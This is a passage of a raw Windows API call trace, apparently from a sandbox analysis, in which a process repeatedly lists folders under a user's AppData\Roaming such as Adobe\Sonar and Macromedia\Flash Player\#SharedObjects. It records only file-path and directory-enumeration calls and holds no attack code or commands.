lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", nBufferLength=0x105, lpBuffer=0x12feab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpFilePart=0x0) returned 0x34 [0197.663] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0197.664] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.664] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 1 [0197.664] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.664] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0197.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.664] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", nBufferLength=0x105, lpBuffer=0x12fea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpFilePart=0x0) returned 0x34 [0197.665] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x12fecc4 | out: lpFindFileData=0x12fecc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b038 [0197.665] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.665] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 1 [0197.665] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 0 [0197.665] FindClose (in: hFindFile=0x139b038 | out: hFindFile=0x139b038) returned 1 [0197.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.666] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x12febc4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2a [0197.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0dc) returned 1 [0197.667] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x12feb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2a [0197.667] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0197.667] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.667] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0197.667] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0 [0197.667] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0197.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff098) returned 1 [0197.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0a4) returned 1 [0197.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff07c) returned 1 [0197.668] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x12feb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2a [0197.668] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x12feda4 | out: lpFindFileData=0x12feda4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0197.668] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.668] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0197.668] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.668] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0197.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff038) returned 1 [0197.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff044) returned 1 [0197.669] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x12feb54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x37 [0197.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.669] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x12feb20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x37 [0197.669] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0197.669] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.669] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0197.669] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0197.670] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0197.670] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0197.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.670] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x12feac0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x37 [0197.670] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x12fed34 | out: lpFindFileData=0x12fed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0197.670] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.671] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0197.671] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0197.671] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.671] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0197.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.671] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", nBufferLength=0x105, lpBuffer=0x12feae4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpFilePart=0x0) returned 0x46 [0197.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.671] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", nBufferLength=0x105, lpBuffer=0x12feab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpFilePart=0x0) returned 0x46 [0197.671] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0197.672] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.672] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 1 [0197.672] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 0 [0197.672] FindClose (in: hFindFile=0x139af38 | out: hFindFile=0x139af38) returned 1 [0197.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.672] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", nBufferLength=0x105, lpBuffer=0x12fea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpFilePart=0x0) returned 0x46 [0197.672] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x12fecc4 | out: lpFindFileData=0x12fecc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0197.672] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.673] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 1 [0197.673] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.673] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0197.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.673] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", nBufferLength=0x105, lpBuffer=0x12fea74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", lpFilePart=0x0) returned 0x4f [0197.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef8c) returned 1 [0197.673] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", nBufferLength=0x105, lpBuffer=0x12fea40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", lpFilePart=0x0) returned 0x4f [0197.673] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\*", lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 